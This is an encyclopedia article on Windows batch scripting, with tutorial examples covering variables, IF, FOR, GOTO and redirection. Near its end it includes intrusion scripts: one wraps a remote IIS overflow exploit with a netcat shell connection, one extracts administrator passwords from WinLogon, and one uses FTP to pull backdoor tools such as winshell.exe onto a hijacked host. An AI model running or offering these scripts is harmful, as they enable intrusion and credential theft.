批处理文件类型)_百度百科 网页新闻贴吧知道网盘图片视频地图文库资讯采购百科百度首页登录注册进入词条全站搜索帮助首页秒懂百科特色百科知识专题加入百科百科团队权威合作下载百科APP个人中心bat是一个多义词,请在下列义项上选择浏览(共6个义项)展开添加义项bat播报讨论上传视频批处理文件类型收藏查看我的收藏0有用+10批处理文件,在DOS和Windows(任意)系统中,.bat文件是可执行文件,由一系列命令构成,其中可以包含对其他程序的调用。这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理,通常被认为是一种简化的脚本语言,它应用于DOS和Windows系统中。批处理文件的扩展名为bat 或cmd。比较常见的批处理包含两类:DOS批处理和PS批处理。PS批处理是基于强大的图片编辑软件Photoshop的,用来批量处理图片的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。更复杂的情况,需要使用if、for、goto等命令控制程序的运行过程,如同C、Basic等高级语言一样。如果需要实现更复杂的应用,利用外部程序是必要的,这包括系统本身提供的外部命令和第三方提供的工具或者软件。批处理程序虽然是在命令行环境中运行,但不仅仅能使用命令行软件,任何当前系统下可运行的程序都可以放在批处理文件中运行。中文名批处理文件外文名Batch(bat)操作系统Windows/DOS类    别脚本语言适用系统DOS和WindowsWindows主体%windir%\system32\cmd.exe目录1简单程序2Win9x3作用4变量▪类型▪命名▪扩展5关于参数6常用命令▪ECHO▪PAUSE▪CLS▪REM▪SET▪IF▪GOTO▪FOR▪批处理示例7命令返回值8特殊符号▪@-隐藏命令▪&&和||判断▪|-管道▪&-分行符▪^分行与转义符▪通配符▪括起来▪大于和大于大于9文件技巧▪文章结构▪命令帮助▪环境变量▪处理文件10语句结构11代码示例▪清理垃圾▪网络设置▪关机▪修改注册表12其它简单程序播报编辑批处理是基于cmd的可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。第三,每个编写好的批处理文件都相当于一个DOS的外部命令 你可以把它所在的目录放到你的DOS搜索路径变量%path%(详见后面)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\batch,你就可以在任意位置运行所有你编写的批处理程序。Win9x播报编辑C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,即开机自启动你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。作用播报编辑简单的说,批处理的作用就是自动的连续执行多条命令。这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(“>”前面内容表示DOS提示符):C:\>cd wpsC:\WPS>spdosC:\WPS>pyC:\WPS>wbxC:\WPS>wps如果每次用WPS之前都这样执行一遍,还是十分麻烦。不过用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:@echo offC:cd\wpsspdospywbxwpscd\以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。变量播报编辑类型批处理中的变量基本是万能的,可以储存各种各样的数据,不过用来计算时,会发现变量类型转为了int,数值的极端范围为[-2147483648,2147483647],如果不拿来计算的话,似乎数万位也是可以的命名批处理的变量命名没有什么限制..不过建议命名还是遵守标准的命名方法,不然@Echo OffSet IF=Set%IF% lF=Goto:IFIF %IF%==IF %lF% IF像这样的代码是很蛋疼的...正是因为变量的名称是可以自由调配的 : 数字 字母 甚至汉字都可以变成变量名。不像VBS一样。扩展扩展,你可以理解为显示出这个的值,如果你想要使用这个变量的值一般情况下都要扩展扩展方式:%变量%或!变量!其中!变量!是延迟扩展,需要加上SetLocal EnableDelayedExpansion语句才能够实现,延迟扩展对于新手来说是一个很难理解的东西,就这么说吧,当你的变量在一个语句的内部受到了改变,而在这个改变之后又要输出,那么你必须要延迟扩展,这个牵扯到了奇奇怪怪的预处理机制,不详解了.用连接符号连起来的语句,if,for和它们后面括号内的内容都是属于一个语句例:@echo offset num=10set num=100&echo %num%echo %num%echo 虽然已经将num的值更改为100,但由于没有延迟扩展,所以值仍为10,不过在下一个语句num的值就改变了pause>nul例:@echo offSetLocal EnableDelayedExpansionset num=10set num=100&echo !num!echo 两个num的值一样了echo %num%pause>nul变量在扩展过程中还可以做一点手脚例:set str=1234567890echo %str:~0,5%echo %str:~1,5%echo %str:~-5%echo %str:~5,-2%echo %str:7890=54321%pause>nul很神奇吧?这就是对字符串的处理,这个是批处理的特性,叫“变量延迟”关于参数播报编辑参数在批处理的表达是%0,%1,%2....%9 ,以及全部参数%*(不包括%0)%0的初始量是批处理本身路径,类似%~f0一般你只能取前九个参数,除非你使用%*shift命令允许你获取后面的参数格式:shift [/n]n为1~8的数shift 会使%0变成%1,%1变成%2……%9变成原来的第10个参数(不推荐)一般使用shift /1,将会从%1开始替换,保留原%0注意:call标签时参数也是可用的,而且当返回时参数将变回原来的例子:@echo offcall :标签 arg1 arg2echo %1::会显示回显已打开echo %2exit:标签echo %1::这时会显示arg1echo %2::这时会显示arg2exit /b常用命令播报编辑ECHO显示信息,或将命令回显打开或关上。ECHO [ON | OFF]ECHO [message]要显示当前回显设置,键入不带参数的 ECHO。echo 命令的第一个用法,echo on和echo offecho on表示打开回显,echo off表示关闭回显,何为回显?打开回显就是执行命令时会把命令显示出来,关闭回显反之.echo 命令的第二个用法,echo message,这个很简单,就是显示后面的信息echo 命令第三个用法,显示当前回显设置,就是显示回显打开或关闭echo也可以输出文件。下面再说。以下的这段代码可以让你很好地理解echo的用法(包括如何用echo输出空行)echo 这是没有关闭回显echo;echoecho offecho 这是关闭了回显echo;echopausePAUSE暂停批处理程序,并显示以下消息:请按任意键继续. . .这个命令没有什么好说的,要暂停时直接pause就行了CLS清除屏幕。CLS这个命令也没有什么好说的,清屏,自己试一次就知道了REM在批处理文件或 CONFIG.SYS 里加上注解或说明。REM [comment]这个命令同样没什么好说的,用法就是rem 注释PS:其实可以用"::"代替"REM",可以提高执行速度,不过REM的兼容性更好,我还是建议大家用rem注释SET1.给变量赋值(撤销)例1:@echo offset str=My name is Xiaoecho %str%rem 批处理中的变量一般需要用%来扩展,详见特殊符号一节pause>nul例2:@echo offset str=ABCDEFGHIJKLMNecho %str%set str=echo;%str%rem 还记得加";"可以实现什么效果吗?一个空行,为什么要这么做呢?想不出来的话去掉这个";"试试pause>nul上面的例子中,一个是给变量赋值,一个是撤销变量的值2.等待用户输入数据(开关/P)例:@echo offset /p name=请输入你的姓名:set /p age=请输入你的年龄(纯数字):echo 所以,%name%今 年%age%岁咯?pause>nul3.计算(开关/A)例1:@echo offset /a num=(12*2)+(13*4)echo (12x2)+(13x4)=%num%pause>nul例2:@echo offset /p num=请输入一个数字(不要超过2147483647):REM 批处理能处理的数字不能超过32位(二进制)set /a num*=2echo 这个数字的两倍是%num%pause>nul附:Set /a num*=2与set /a num=num*2等价() - 分组! ~ - - 一元运算符* / % - 算数运算符+ - - 算数运算符<< >> - 逻辑移位- 按位“与”^ - 按位“异”| - 按位“或”= *= /= %= += -= - 赋值&= ^= |= <<= >>=, - 表达式分隔符set /a支持多行表达式并列,比如set /a num1=1+1,num2=1+2,num3=1+3并且set /a不需要扩展变量,比如set /a num=%num2%+%num3%与set /a num=num2+num3等价以上内容仅为基础教程4.显示当前已定义变量例:@set@pause>nul是不是很简单?其实它还有更高级的用法呢@set a@pause>nul@set s@pause>nul你们发现什么了吗??它的用法就是这些,不用多说了IF1.IF的第一种用法,比较字符串例:set /p PW=请输入密码:if %PW%==bat (echo YES! ) ELSE (Rem [else] 为可选参数,表示否则,即如果变量PW等于bat则输出YES!否则输出NO! echo NO! )pause>nul通过set /p和if可以实现一个简单的密码判断,当然这个密码判断可以很轻易地被破解,仔细动脑筋想一想,该怎么破解呢.不过这个密码判断尚有不足之处,假如我们什么都不输入直接回车,便会提示错误,那该怎么办呢?很简单,只要加上双引号(其它的符号也行)就行了=>if "%PW%"=="bat"2.IF的第二种用法,比较数字例:set /p num1=请第一个输入数字:set /p num2=请第二个输入数字:if not %num1% LSS %num2% (rem lss表示小于rem [not]为可选参数,表示非,即如果变量num1不小于变量num2就输出第一个数字大,否则输出第二个数字大echo 第一个数字大) ELSE (echo 第二个数字大)pause>nul这段代码可以实现一个简单的判断,不过尚有不足之处-----如果这两个数字相等呢,这就要请出我们的else if啦(当然你也可以用几个if来判断)set /p num1=请第一个输入数字:set /p num2=请第二个输入数字:if "%num1%" gtr "%num2%" (echo 第一个数字大) ELSE if "%num1%" EQU "%num2%" (echo 一样大) ELSE (echo 第二个数字大 )pause>nul------比较运算符-----EQU - 等于NEQ - 不等于LSS - 小于LEQ - 小于或等于GTR - 大于GEQ - 大于或等于3.IF的第三种用法,检测文件(夹)是否存在例:@echo offif exist C:\windows (echo 你的C盘有windows文件(夹^)) else (echo 你的C盘没有windows文件(夹^))pause>nul"^"为转义符号,在特殊符号一节再作讲解4.IF的第四种用法,检测变量是否被定义例:@echo offset var=aiwozhonghuaif defined var (echo 变量var已被定义,它的值为%var%) else (echo 变量var没有被定义)pause>nul去掉第一行的set看看执行结果有什么不同,你明白它的用法了吗?5.IF的第五种用法,判断返回值(ERRORLEVEL)要判断返回值,首先要理解返回值是个什么概念,批处理中的返回值一般表示了上个命令的执行结果(成功/失败/等)每个命令执行完毕后返回值都会做相应的更改,一般返回值为0表示成功,1表示失败,有一些第三方的返回值比较特殊(如Choice.exe,Tmos.exe,Cmos.exe),在这里就不讲解了例:@echo offecho;>>%systemroot%\test.txtif errorlevel 0 ( echo 写入成功! ) else echo 写入失败pause>nul这段代码尝试向%systemroot%\system32\写入数据,如果权限不够或杀毒软件拦截就会写入失败,这时就会显示"写入失败".不知道%systemroot%表示了什么?单独键入set自己仔细看一下结果.不过看到后面你会发现这段代码还有更简便的写法注:用 if errorlevel判断返回值时要将返回值从大到小排列例:@echo offchoice /C:ABC /n "A/B/C"if errorlevel 3 echo You choose the Cif errorlevel 2 echo You choose the Bif errorlevel 1 echo You choose the Apause>nulGOTO将 cmd.exe 导向到批处理程序中带标签的行。GOTO labellabel 指定批处理程序中用作标签的文字字符串。标签必须单独一行,并且以冒号打头。如果命令扩展名被启用,GOTO 会如下改变:GOTO 命令接受目标标签 :EOF,这个标签将控制转移到当前批脚本文件的结尾。不定义就退出批脚本文件,这是一个容易的办法。有关能使该功能有用的 CALL 命令的扩展名描述,请键入CALL /?。label是什么?这可不是命令label,它指的是标签,标签是啥?见例子例:@echo offset /p pw=请输入密码:if "%pw%"=="bathome" goto yesgoto :eofrem 未定义的:eof会退出脚本文件:yesecho 密码正确!pause>nul这是一个更加完整的密码判断,仔细阅读并执行这行代码,你知道标签是什么了吗,没错,那个:yes就是标签了!标签的格式:标签名关掉回显以后你有没有发现什么?没错,标签所在的那一行没有被执行,这就是为什么::比rem更快的原因了,但是标签不能被使用在一个语句的内部,主要就是被括号括起来的语句(是的,被括号括起来的语句被看作一个整体),因此::的兼容性没有rem那么好附:"::"其实就是不规范的标签名...FOR1.FOR对一组文件中的每一个文件执行某个特定命令。FOR%variableIN (set) DO command [command-parameters]%variable 指定一个单一字母可替换的参数。(set) 指定一个或一组文件。可以使用通配符。command 指定对每个文件执行的命令。command-parameters为特定命令指定参数或命令行开关。例:@echo offfor %%i in (*.txt) do echo %%ipause>nul这段代码会显示当前文件夹下所有的txt文件@echo offfor %%i in (菜 芽 小 公 公) do echo %%ipause>nul这段代码会显示菜芽小公公注:%%i为for输出专用变量格式,其中i可以是a/A/0-z/Z/9和一些符号什么的(如! # 不过不建议使用),在cmd中只能用一个%2.FOR /LFOR /L %variable IN (start,step,end) DO command [command-parameters]该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。例:@echo offfor /L %%a in (1 2 1000) do echo %%apause>nul这个用法很简单,没有什么要讲解的,从这段代码主要是看出了逗号可以省略.当然还有一些稀奇古怪的用法为了防止新手弄混在这里就不讲解了3.FOR /RFOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。 这个命令同样有一些看起来很奇怪的用法,为了防止新手迷糊就只讲解基础的例:@echo offfor /r C:\Windows\system32 %%i in (*) do echo %%ipause>nul这段代码枚举了C:\Windows\system32下所有的文件,包括子文件夹里的4.FOR /DFOR /D %variable IN (set) DO command [command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。这个命令的用法和上面差不多,只不过是枚举目录名,不详解了5.FOR /Ffor /f是一个非(丧)常(心)复(病)杂(狂)的命令...让我们从它的第一个用法来讲:FOR /F ["options"] %variable IN (file-set) DO command [command-parame]例:@echo offecho 1,1 2,1 3,1 4,1>>test.txtecho A1,2 2,2 3,2 4,2>>test.txtecho 1,3 2,3 3,3 4,3>>test.txtecho A1,4 2,4 3,4 4,4>>test.txtrem 以上代码在当前文件夹下生成了一个test.txt,打开看看?For /F %%i In (test.txt) Do Echo %%ipause>nulFor /F "tokens=2" %%i In (test.txt) Do Echo %%ipause>nulFor /F "tokens=3" %%i In (test.txt) Do Echo %%ipause>nulFor /F "tokens=4" %%i In (test.txt) Do Echo %%ipause>nul我想执行完这个bat,再分析一下结果和代码,聪明的你一定了解了tokens的用处for /f 默认以空格为分隔符,将每一行分割为几个元素,而tokens就表示取第几个元素.但假如我们要取的不是一个元素呢?需要全部显示出来怎么办?tokens=* 表示取所有元素,用%%i输出tokens=1,2,3,4或tokens=1-4 然后用%%i或%%i,%%j,%%k,%%l 输出其实我们还有其他的方法,比如请出delims参数例:@echo offrem test.txt已经有了,就不生成了for /f "delims=*" %%i in (test.txt) do echo %%ipause>nuldelims是个啥玩意儿?其实这就是分割符的设定,默认以空格为分隔符,你可以将分隔符设置成其他的,你的文本就不会被分割了,delims同样支持多个分隔符,格式delims=第一个分隔符,第二个分隔符,第三个分隔符啊哈,还有一个skip和eol,skip表示忽略前几行,比如skip=10表示忽略这个文本的前十行,我这个文本只有4行,如果你加上skip=10的话就什么都不会输出了eol表示忽略以某个符号开头的行,比如eol=A,当某一行的开头是A的时候,这一行就不会被处理,不过支持设置一个符号for /f同也可以处理字符串FOR /F ["options"] %variable IN ("string") DO command [command-parameters]字符串需要用双引号引起来,其余用法一样,不过这里就要讲到usebackq参数了,for /f是支持处理多个文件的,文件直接用空格隔开(某些符号也可以),假如文件名中含有空格怎么办呢?那好像只能用双引号引起来了,但是用双引号引起来会被识别成字符串的,这时就要请出usebackq参数了,加上这个参数,带引号的字符串也会被识别为文件~FOR /F ["options"] %variable IN ('command') DO command [command-parameters]用for /f来处理命令执行的结果,命令要用单引号引起来例:@echo offfor /f "skip=3" %%i in ('tasklist') do echo;%%ipause>nul这段代码就处理了命令ipconfig的执行结果,单独键入tasklist看会出现什么?================================================~I - 删除任何引号("),扩充 %I%~fI - 将 %I 扩充到一个完全合格的路径名%~dI - 仅将 %I 扩充到一个驱动器号%~pI - 仅将 %I 扩充到一个路径%~nI - 仅将 %I 扩充到一个文件名%~xI - 仅将 %I 扩充到一个文件扩展名%~sI - 扩充的路径只含有短名%~aI - 将 %I 扩充到文件的文件属性%~tI - 将 %I 扩充到文件的日期/时间%~zI - 将 %I 扩充到文件的大小%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量名未被定义,或者没有找到文件,此组合键会扩充到空字符串组合修饰符来得到多重结果:%~dpI - 仅将 %I 扩充到一个驱动器号和路径%~nxI - 仅将 %I 扩充到一个文件名和扩展名%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。%~ftzaI - 将 %I 扩充到类似输出线路的 DIR===================================================这些不多说了,自己用for /r命令输出的时候把%%i改成%%~nxi之类的试一试就理解了批处理示例1. IF-EXIST1)首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:@echo offIF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BATIF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist然后运行它:C:\>TEST1.BAT如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。2)接着再建立一个test2.bat文件,内容如下:@ECHO OFFIF EXIST \%1 TYPE \%1IF NOT EXIST \%1 ECHO \%1 does not exist执行:C:\>TEST2 AUTOEXEC.BAT该命令运行结果同上。说明:(1) IF EXIST 是用来测试文件是否存在的,格式为IF EXIST [路径+文件名] 命令(2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。(3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:@echo offIF "%1" == "A" ECHO XIAOIF "%2" == "B" ECHO TIANIF "%3" == "C" ECHO XIN如果运行:C:\>TEST3 A B C屏幕上会显示:XIAOTIANXIN如果运行:C:\>TEST3 A B屏幕上会显示XIAOTIAN在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。2、IF-ERRORLEVEL建立TEST4.BAT,内容如下:@ECHO OFFXCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败IF ERRORLEVEL 0 ECHO 成功拷贝文件然后执行文件:C:\>TEST4如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:@ECHO OFFXCOPY C:\AUTOEXEC.BAT D:\IF ERRORLEVEL 0 ECHO 成功拷贝文件IF ERRORLEVEL 1 ECHO 未找到拷贝文件IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误无论拷贝是否成功,后面的:未找到拷贝文件用户通过ctrl-c中止拷贝操作预置错误阻止文件拷贝操作拷贝过程中写盘错误都将显示出来。命令返回值播报编辑backup0 备份成功1 未找到备份文件2 文件共享冲突阻止备份完成3 用户用ctrl-c中止备份4 由于致命的错误使备份操作中止diskcomp0 盘比较相同1 盘比较不同2 用户通过ctrl-c中止比较操作3 由于致命的错误使比较操作中止4 预置错误中止比较diskcopy0 盘拷贝操作成功1 非致命盘读/写错2 用户通过ctrl-c结束拷贝操作3 因致命的处理错误使盘拷贝中止4 预置错误阻止拷贝操作format0 格式化成功3 用户通过ctrl-c中止格式化处理4 因致命的处理错误使格式化中止5 在提示“proceed with format(y/n)?”下用户键入n结束xcopy0 成功拷贝文件1 未找到拷贝文件2 用户通过ctrl-c中止拷贝操作4 预置错误阻止文件拷贝操作5 拷贝过程中写盘错误特殊符号播报编辑@-隐藏命令开启了echo off能够起到隐藏命令的效果,而@同样能起到这个效果,只不过需要在每条命令前面都加一个...&&和||判断还记得用if errorlevel来判断命令成功与否吗?&&和||同样能起到这个效果,&&表示前面的命令成功以后执行后面的命令,||反之例:@echo;>>%SystemRoot%\system32\test.txt&&echo 成功!||echo 失败@pause>nul|-管道将前一个命令执行的结果发送给后一个命令例:@echo 你好|find "你"@tasklist|find "exe"&-分行符可以把几个命令写在同一行例:@echo 123&@echo 456pause>nul^分行与转义符1.分行可以把一个命令写成多行哦例:@echo 1^2^3^4@pause>nul复制上面的命令,执行结果是什么?这就是分行符的作用2.转义当我们试图输出一个&的时候,我们会发现输出不了...因为它被当成分行符处理了这时就要请出转义符^了,它可以剥夺后面第一个符号的特殊地位,变为普通符号(这其实是一个很神奇的功能,之所以神奇...赘不详述)例:@echo ^&@pause>nul这样就输出了&另外,当存在a变量(前面set /p a=或set a=给a赋值了)想要输出%a%,一是可以用转义符^,还可以:echo %%a%%这样既可将两个百分号识别为一个,起到了转义的作用还有些特殊情况不需要转义:echo "0000|000"用引号括起来可以起到一定的转义的作用,包括set "a=a的值"等但特别特殊的情况比如获取%1时存在转义符很难处理,没办法正常引用通配符什么是通配符?举个例子:*.jpg表示所有的jpg文件,*表示所有文件,如“AAA.jpg”.*可以为任意字符,但?只表示一个字符,比如?.jpg只表示文件名只有一个的jpg文件,比如“1.jpg”,“比.jpg”.括起来括起来的语句是一个整体大于和大于大于在这里注意: 在重定向符号 ">" 以及 ">>" 前必须添加空格,因为Batch具有不唯一性所以在很多时候不加空格也能正常使用。但是日常使用中必须添加空格否则失败的几率很大,要么是无法创建/输出,要么文件是空的。请不要使用不添加空格的不正确用法.echo 123 >>one.txt可以输出123追加到one.txt中echo 123 >one.txt可以输出123覆盖one.txt中原先的内容nul是一个系统保留字,所以>nul不会输出到任何文件,可以起到隐藏命令执行结果的效果2 >nul可以起到隐藏命令失败执行结果的效果<可以从文件中读取数据到某个命令中,不过这个命令得等待用户输入例:@echo offecho 123 >>00.txtset /p num=<00.txtecho 数字是%num%pause>nul有些命令不止需要一个>nul,如要连接,需要:>nul 2>nul以此类推如果前面有数字,需要添加空格ping >nul 2>nul=1>nul 2>nul ping=ping >nul 2>&1.... X>&2 X>&2 X>&3等nul指空设备,简单来说就是隐藏输出。2>&1 3>&2 可以一直接下去,&1 &2就是引用第一个、第二个等文件技巧播报编辑文章结构1. 所有内置命令的帮助信息2.环境变量的概念3. 内置的特殊符号(实际使用中间注意避开)4. 简单批处理文件概念5. 附件1 tmp.txt6. 附件2 sample.bat###########################命令帮助###########################vercmd /?set /?rem /?if /?echo /?goto /?for /?shift /?call /?其他需要的常用命令type /?find /?findstr /?copy /?下面将所有上面的帮助输出到一个文件echo ver >tmp.txtver >>tmp.txtecho cmd /? >>tmp.txtcmd /? >>tmp.txtecho rem /? >>tmp.txtrem /? >>tmp.txtecho if /? >>tmp.txtif /? >>tmp.txtecho goto /? >>tmp.txtgoto /? >>tmp.txtecho for /? >>tmp.txtfor /? >>tmp.txtecho shift /? >>tmp.txtshift /? >>tmp.txtecho call /? >>tmp.txtcall /? >>tmp.txtecho type /? >>tmp.txttype /? >>tmp.txtecho find /? >>tmp.txtfind /? >>tmp.txtecho findstr /? >>tmp.txtfindstr /? >>tmp.txtecho copy /? >>tmp.txtcopy /? >>tmp.txttype tmp.txt环境变量C:\Program Files>setALLUSERSPROFILE=C:\Documents and Settings\All UsersCommonProgramFiles=C:\Program Files\Common FilesCOMPUTERNAME=FIRSTComSpec=C:\WINNT\system32\cmd.exeNUMBER_OF_PROCESSORS=1OS=Windows_NTOs2LibPath=C:\WINNT\system32\os2\dll;Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEMPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSHPROCESSOR_ARCHITECTURE=x86PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=0605ProgramFiles=C:\Program FilesPROMPT=$P$GSystemDrive=C:SystemRoot=C:\WINNTTEMP=C:\WINNT\TEMPTMP=C:\WINNT\TEMPUSERPROFILE=C:\Documents and Settings\Default Userwindir=C:\WINNTpath: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.语法: copy mychenxu.exe %windir%\system32\.使用点(.) 便于一目了然对环境变量的引用使用(英文模式,半角)双引号%windir%变量%%windir%% 二次变量引用.我们常用的还有%temp% 临时文件目录%windir% 系统目录%errorlevel% 退出代码输出文件到临时文件目录里面.这样便于当前目录整洁.对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作C:\>dir p*C:\ 的目录2000-09-02 11:47 2,164 PDOS.DEF1999-01-03 00:47 Program Files1 个文件 2,164字节1 个目录 1,505,997,824 可用字节C:\>cd pro*C:\Program Files>C:\>C:\>cd "Program Files"C:\Program Files>微软里面内置了下列字符不能够在创建的文件名中间使用con nul aux \ / | || && ^ > < *You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)To create the variable value new&name, type:set varname=new^&nameTo create the variable value "new&name", type:set varname="new&name"The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.find "Pacific Rim" < trade.txt > nwtrade.txtIF EXIST filename. (del filename.) ELSE echo filename. missing> 创建一个文件>> 追加到一个文件后面@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbbecho 123456 ^> aaaecho 1231231 > bbb() 包含命令(echo aa & echo bb), 和空格一样的缺省分隔符号.; 注释,表示后面为注释: 标号作用|管道操作& Usage:第一条命令 & 第二条命令 [& 第三条命令...]用这种方法可以同时执行多条命令,而不管命令是否执行成功dir c:\*.exe & dir d:\*.exe & dir e:\*.exe&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;常用语法格式IF [NOT] ERRORLEVEL number command para1 para2IF [NOT] string1==string2 command para1 para2IF [NOT] EXIST filename command para1 para2IF EXIST filename command para1 para2IF NOT EXIST filename command para1 para2IF "%1"=="" goto ENDIF "%1"=="net" goto NETIF NOT "%2"=="net" goto OTHERIF ERRORLEVEL 1 command para1 para2IF NOT ERRORLEVEL 1 command para1 para2FOR /L %%i IN (start,step,end) DO command [command-parameters] %%iFOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k按照字母顺序 ijklmnopq依次取参数.eol=c - 指一个行注释字符的结尾(就一个)skip=n - 指在文件开始时忽略的行数。delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。处理文件echo This is test > a.txttype a.txtecho This is test 11111 >> a.txttype a.txtecho This is test 22222 > a.txttype a.txt第二个echo是追加第三个echo将清空a.txt 重新创建 a.txtnetstat -n | find "3389"这个将要列出所有连接3389的用户的ip.________________test.bat______@echo please careecho plese care 1111echo plese care 2222echo plese care 3333@echo please care@echo plese care 1111@echo plese care 2222@echo plese care 3333rem 不显示注释语句,本行显示@rem 不显示注释语句,本行不显示@if exist %windir%\system32\find.exe(echo Find find.exe !!!) else (echo ERROR: Not find find.exe)@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)_____________________________下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.___________________ida.bat_____@rem ver 1.0@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"@if "%1" =="" goto USAGE@if NOT "%2" =="" goto SP2:start@echo Now start ...@ping %1@echo chinese win2k:1 sp1:2 sp2:3idahack.exe %1 80 1 99 >%temp%\_tmp@echo "prog exit code [%errorlevel%] idahack.exe"@type %temp%\_tmp@find "good luck :)" %temp%\_tmp@echo "prog exit code [%errorlevel%] find [goog luck]"@if NOT errorlevel 1 nc.exe %1 99@goto END:SP2@idahack.exe %1 80 %2 99 %temp%\_tmp@type %temp%\_tmp@find "good luck :)" %temp%\_tmp@if NOT errorlevel 1 nc.exe %1 99@goto END:USAGE@echo Example: ida.batIP@echo Example: ida.batIP (2,3):END_____________________ida.bat__END_______下面我们再来第二个文件.就是得到administrator的口令.大多数人说得不到.其实是自己的没有输入正确的信息.___________________________fpass.bat____________________________________________@rem ver 1.0@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"@echo start....@echo ____________________________________@if "%1"=="" goto USAGE@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt@echo "prog exit code [%errorlevel%] findpass.exe"@type %temp%\_findpass.txt@echo ________________________________Here__pass★★★★★★★★@ipconfig /all >>%temp%\_findpass.txt@goto END:USAGE@pulist.exe >%temp%\_pass.txt@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt@echo "Example: fpass.bat%1 %2 %3 %4 !!!"@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon":END@echo " fpass.bat%COMPUTERNAME% %USERNAME% administrator "@echo " fpass.batend [%errorlevel%] !"_________________fpass.bat___END___________________________________________________________还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!echo open 210.64.x.4 3396>wecho read>>wecho read>>wecho cd winnt>>wecho binary>>wecho pwd >>wecho get wget.exe >>wecho get winshell.exe >>wecho get any.exe >>wecho quit >>wftp 